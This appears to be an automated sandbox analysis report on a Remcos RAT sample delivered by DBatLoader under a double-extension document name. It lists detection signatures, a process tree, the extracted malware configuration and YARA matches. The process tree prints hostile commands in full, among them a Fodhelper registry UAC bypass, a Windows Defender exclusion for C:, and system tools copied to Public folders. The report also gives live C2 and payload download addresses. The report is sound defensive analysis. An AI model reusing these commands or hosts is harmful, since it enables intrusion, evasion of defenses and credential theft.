Edit tour

Windows Analysis Report
#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Overview

General Information

Sample name:	#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe renamed because original name is a hash value
Original sample name:	-202471.docx.pif.exe
Analysis ID:	1466663
MD5:	b9da5a47e1e68ef90c075dc14f8e2037
SHA1:	4ae96232817bf7b3919aa298efc7c0d18649ed9d
SHA256:	8dbccd1c7bdb8da3a34c2a4ac5c62fb6774ce2abac29caf899039d19a5d27555
Tags:	exepif
Infos:

Detection

Remcos, DBatLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Contains functionality to bypass UAC (CMSTPLUA)

Detected Remcos RAT

Detected unpacking (changes PE section rights)

Detected unpacking (creates a PE file in dynamic memory)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Remcos

Sigma detected: TrustedPath UAC Bypass Pattern

UAC bypass detected (Fodhelper)

Yara detected DBatLoader

Yara detected Remcos RAT

Yara detected UAC Bypass using CMSTP

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to detect sleep reduction / modifications

Contains functionality to register a low level keyboard hook

Contains functionality to steal Chrome passwords or cookies

Contains functionality to steal Firefox passwords or cookies

Contains functionalty to change the wallpaper

Creates a thread in another existing process (thread injection)

Delayed program exit found

Drops PE files to the user root directory

Drops PE files with a suspicious file extension

Drops executables to the windows directory (C:\Windows) and starts them

Drops or copies cmd.exe with a different name (likely to bypass HIPS)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Opens the same file many times (likely Sandbox evasion)

Powershell is started from unusual location (likely to bypass HIPS)

Reads the Security eventlog

Reads the System eventlog

Sample uses process hollowing technique

Sigma detected: Execution from Suspicious Folder

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Parent in Public Folder Suspicious Process

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Creation with Colorcpl

Uses an obfuscated file name to hide its real file extension (double extension)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to communicate with device drivers

Contains functionality to download and launch executables

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to enumerate running services

Contains functionality to launch a control a shell (cmd.exe)

Contains functionality to launch a process as a different user

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Reg Add Open Command

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe (PID: 4220 cmdline: "C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe" MD5: B9DA5A47E1E68EF90C075DC14F8E2037)

drbdmeyP.pif (PID: 2796 cmdline: C:\Users\Public\Libraries\drbdmeyP.pif MD5: C116D3604CEAFE7057D77FF27552C215)

cmd.exe (PID: 3960 cmdline: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\D2F6.tmp\D2F7.tmp\D2F8.bat C:\Users\Public\Libraries\drbdmeyP.pif" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

extrac32.exe (PID: 1356 cmdline: C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe" MD5: 41330D97BF17D07CD4308264F3032547)

alpha.exe (PID: 5884 cmdline: C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

alpha.exe (PID: 5428 cmdline: C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

alpha.exe (PID: 6160 cmdline: C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

extrac32.exe (PID: 7024 cmdline: extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe" MD5: 41330D97BF17D07CD4308264F3032547)

alpha.exe (PID: 5856 cmdline: C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

extrac32.exe (PID: 1264 cmdline: extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe" MD5: 41330D97BF17D07CD4308264F3032547)

alpha.exe (PID: 3180 cmdline: C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

extrac32.exe (PID: 6516 cmdline: extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe" MD5: 41330D97BF17D07CD4308264F3032547)

alpha.exe (PID: 1648 cmdline: C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

xkn.exe (PID: 4340 cmdline: C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; " MD5: 04029E121A0CFA5991749937DD22A1D9)

alpha.exe (PID: 7368 cmdline: "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

ger.exe (PID: 7400 cmdline: C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:"" MD5: 227F63E1D9008B36BDBCC4B397780BE4)

per.exe (PID: 8080 cmdline: "C:\\Windows \\System32\\per.exe" MD5: 85018BE1FD913656BC9FF541F017EACD)

alpha.exe (PID: 1652 cmdline: C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 7268 cmdline: taskkill /F /IM SystemSettings.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

alpha.exe (PID: 8188 cmdline: C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

extrac32.exe (PID: 7608 cmdline: C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe C:\\Users\\Public\\Libraries\\Pyemdbrd.PIF MD5: 9472AAB6390E4F1431BAA912FCFF9707)

colorcpl.exe (PID: 7688 cmdline: C:\Windows\System32\colorcpl.exe MD5: DB71E132EBF1FEB6E93E8A2A0F0C903D)

SystemSettingsAdminFlows.exe (PID: 7336 cmdline: "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper MD5: 5FA3EEF00388ED6344B4C35BA7CAA460)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Remcos, RemcosRAT	Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.	APT33 The Gorgon Group UAC-0050	http://malware-traffic-analysis.net/2017/12/22/index.html https://0xmrmagnezi.github.io/malware%20analysis/RemcosRAT/ https://asec.ahnlab.com/en/32376/ https://asec.ahnlab.com/ko/25837/ https://asec.ahnlab.com/ko/32101/	https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://blog.vincss.net/re016-malware-analysis-modiloader/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://isc.sans.edu/diary/Malspam+pushes+ModiLoader+DBatLoader+infection+for+Remcos+RAT/29896 https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["https://wcmanagers.com/Er9/233_Pyemdbrdpps"]}

Threatname: Remcos

{"Host:Port:Password": "www.vipguyclassproject2024.space:2404:0", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-5MRRQ3", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\gaban\logs.dat	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c4a8:$a1: Remcos restarted by watchdog! 0x6ca20:$a3: %02i:%02i:%02i:%03i
0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x664fc:$str_a1: C:\Windows\System32\cmd.exe 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6656c:$str_b2: Executing file: 0x675ec:$str_b3: GetDirectListeningPort 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x67118:$str_b7: \update.vbs 0x66594:$str_b9: Downloaded file: 0x66580:$str_b10: Downloading file: 0x66624:$str_b12: Failed to upload file: 0x675b4:$str_b13: StartForward 0x675d4:$str_b14: StopForward 0x67070:$str_b15: fso.DeleteFile " 0x67004:$str_b16: On Error Resume Next 0x670a0:$str_b17: fso.DeleteFolder " 0x66614:$str_b18: Uploaded file: 0x665d4:$str_b19: Unable to delete: 0x67038:$str_b20: while fso.FileExists(" 0x66ab1:$str_c0: [Firefox StoredLogins not found]
0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6637c:$s1: CoGetObject 0x66390:$s1: CoGetObject 0x663ac:$s1: CoGetObject 0x70338:$s1: CoGetObject 0x6633c:$s2: Elevation:Administrator!new:
0000001F.00000002.3694699773.000000000281F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c357:$a1: Remcos restarted by watchdog! 0x6c8cf:$a3: %02i:%02i:%02i:%03i
0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x663ab:$str_a1: C:\Windows\System32\cmd.exe 0x66327:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66327:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66827:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x67057:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6641b:$str_b2: Executing file: 0x6749b:$str_b3: GetDirectListeningPort 0x66e47:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x66fc7:$str_b7: \update.vbs 0x66443:$str_b9: Downloaded file: 0x6642f:$str_b10: Downloading file: 0x664d3:$str_b12: Failed to upload file: 0x67463:$str_b13: StartForward 0x67483:$str_b14: StopForward 0x66f1f:$str_b15: fso.DeleteFile " 0x66eb3:$str_b16: On Error Resume Next 0x66f4f:$str_b17: fso.DeleteFolder " 0x664c3:$str_b18: Uploaded file: 0x66483:$str_b19: Unable to delete: 0x66ee7:$str_b20: while fso.FileExists(" 0x66960:$str_c0: [Firefox StoredLogins not found]
0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x66297:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6622b:$s1: CoGetObject 0x6623f:$s1: CoGetObject 0x6625b:$s1: CoGetObject 0x701e7:$s1: CoGetObject 0x661eb:$s2: Elevation:Administrator!new:
Process Memory Space: colorcpl.exe PID: 7688	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: colorcpl.exe PID: 7688	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: colorcpl.exe PID: 7688	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x12654:$a1: Remcos restarted by watchdog! 0x261e0:$a1: Remcos restarted by watchdog! 0x12bad:$a3: %02i:%02i:%02i:%03i 0x12fdc:$a3: %02i:%02i:%02i:%03i 0x2673a:$a3: %02i:%02i:%02i:%03i 0x26b69:$a3: %02i:%02i:%02i:%03i
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
31.2.colorcpl.exe.4580000.0.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
31.2.colorcpl.exe.4580000.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
31.2.colorcpl.exe.4580000.0.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c4a8:$a1: Remcos restarted by watchdog! 0x6ca20:$a3: %02i:%02i:%02i:%03i
31.2.colorcpl.exe.4580000.0.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x664fc:$str_a1: C:\Windows\System32\cmd.exe 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6656c:$str_b2: Executing file: 0x675ec:$str_b3: GetDirectListeningPort 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x67118:$str_b7: \update.vbs 0x66594:$str_b9: Downloaded file: 0x66580:$str_b10: Downloading file: 0x66624:$str_b12: Failed to upload file: 0x675b4:$str_b13: StartForward 0x675d4:$str_b14: StopForward 0x67070:$str_b15: fso.DeleteFile " 0x67004:$str_b16: On Error Resume Next 0x670a0:$str_b17: fso.DeleteFolder " 0x66614:$str_b18: Uploaded file: 0x665d4:$str_b19: Unable to delete: 0x67038:$str_b20: while fso.FileExists(" 0x66ab1:$str_c0: [Firefox StoredLogins not found]
31.2.colorcpl.exe.4580000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6637c:$s1: CoGetObject 0x66390:$s1: CoGetObject 0x663ac:$s1: CoGetObject 0x70338:$s1: CoGetObject 0x6633c:$s2: Elevation:Administrator!new:
0.2.#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe.2980000.1.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
31.2.colorcpl.exe.64218af.1.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
31.2.colorcpl.exe.64218af.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
31.2.colorcpl.exe.64218af.1.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6aaa8:$a1: Remcos restarted by watchdog! 0x6b020:$a3: %02i:%02i:%02i:%03i
31.2.colorcpl.exe.64218af.1.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x64afc:$str_a1: C:\Windows\System32\cmd.exe 0x64a78:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64a78:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64f78:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x657a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x64b6c:$str_b2: Executing file: 0x65bec:$str_b3: GetDirectListeningPort 0x65598:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x65718:$str_b7: \update.vbs 0x64b94:$str_b9: Downloaded file: 0x64b80:$str_b10: Downloading file: 0x64c24:$str_b12: Failed to upload file: 0x65bb4:$str_b13: StartForward 0x65bd4:$str_b14: StopForward 0x65670:$str_b15: fso.DeleteFile " 0x65604:$str_b16: On Error Resume Next 0x656a0:$str_b17: fso.DeleteFolder " 0x64c14:$str_b18: Uploaded file: 0x64bd4:$str_b19: Unable to delete: 0x65638:$str_b20: while fso.FileExists(" 0x650b1:$str_c0: [Firefox StoredLogins not found]
31.2.colorcpl.exe.64218af.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x649e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6497c:$s1: CoGetObject 0x64990:$s1: CoGetObject 0x649ac:$s1: CoGetObject 0x6e938:$s1: CoGetObject 0x6493c:$s2: Elevation:Administrator!new:
31.2.colorcpl.exe.64218af.1.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
31.2.colorcpl.exe.64218af.1.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
31.2.colorcpl.exe.64218af.1.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x690a8:$a1: Remcos restarted by watchdog! 0x69620:$a3: %02i:%02i:%02i:%03i
31.2.colorcpl.exe.64218af.1.unpack	REMCOS_RAT_variants	unknown	unknown	0x630fc:$str_a1: C:\Windows\System32\cmd.exe 0x63078:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63078:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63578:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x63da8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6316c:$str_b2: Executing file: 0x641ec:$str_b3: GetDirectListeningPort 0x63b98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x63d18:$str_b7: \update.vbs 0x63194:$str_b9: Downloaded file: 0x63180:$str_b10: Downloading file: 0x63224:$str_b12: Failed to upload file: 0x641b4:$str_b13: StartForward 0x641d4:$str_b14: StopForward 0x63c70:$str_b15: fso.DeleteFile " 0x63c04:$str_b16: On Error Resume Next 0x63ca0:$str_b17: fso.DeleteFolder " 0x63214:$str_b18: Uploaded file: 0x631d4:$str_b19: Unable to delete: 0x63c38:$str_b20: while fso.FileExists(" 0x636b1:$str_c0: [Firefox StoredLogins not found]
31.2.colorcpl.exe.64218af.1.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x62fe8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62f7c:$s1: CoGetObject 0x62f90:$s1: CoGetObject 0x62fac:$s1: CoGetObject 0x6cf38:$s1: CoGetObject 0x62f3c:$s2: Elevation:Administrator!new:
31.2.colorcpl.exe.4580000.0.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
31.2.colorcpl.exe.4580000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
31.2.colorcpl.exe.4580000.0.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6aaa8:$a1: Remcos restarted by watchdog! 0x6b020:$a3: %02i:%02i:%02i:%03i
31.2.colorcpl.exe.4580000.0.unpack	REMCOS_RAT_variants	unknown	unknown	0x64afc:$str_a1: C:\Windows\System32\cmd.exe 0x64a78:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64a78:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64f78:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x657a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x64b6c:$str_b2: Executing file: 0x65bec:$str_b3: GetDirectListeningPort 0x65598:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x65718:$str_b7: \update.vbs 0x64b94:$str_b9: Downloaded file: 0x64b80:$str_b10: Downloading file: 0x64c24:$str_b12: Failed to upload file: 0x65bb4:$str_b13: StartForward 0x65bd4:$str_b14: StopForward 0x65670:$str_b15: fso.DeleteFile " 0x65604:$str_b16: On Error Resume Next 0x656a0:$str_b17: fso.DeleteFolder " 0x64c14:$str_b18: Uploaded file: 0x64bd4:$str_b19: Unable to delete: 0x65638:$str_b20: while fso.FileExists(" 0x650b1:$str_c0: [Firefox StoredLogins not found]
31.2.colorcpl.exe.4580000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x649e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6497c:$s1: CoGetObject 0x64990:$s1: CoGetObject 0x649ac:$s1: CoGetObject 0x6e938:$s1: CoGetObject 0x6493c:$s2: Elevation:Administrator!new:
0.2.#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe.2980000.1.raw.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
31.2.colorcpl.exe.6420000.2.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
31.2.colorcpl.exe.6420000.2.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
31.2.colorcpl.exe.6420000.2.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c357:$a1: Remcos restarted by watchdog! 0x6c8cf:$a3: %02i:%02i:%02i:%03i
31.2.colorcpl.exe.6420000.2.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x663ab:$str_a1: C:\Windows\System32\cmd.exe 0x66327:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66327:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66827:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x67057:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6641b:$str_b2: Executing file: 0x6749b:$str_b3: GetDirectListeningPort 0x66e47:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x66fc7:$str_b7: \update.vbs 0x66443:$str_b9: Downloaded file: 0x6642f:$str_b10: Downloading file: 0x664d3:$str_b12: Failed to upload file: 0x67463:$str_b13: StartForward 0x67483:$str_b14: StopForward 0x66f1f:$str_b15: fso.DeleteFile " 0x66eb3:$str_b16: On Error Resume Next 0x66f4f:$str_b17: fso.DeleteFolder " 0x664c3:$str_b18: Uploaded file: 0x66483:$str_b19: Unable to delete: 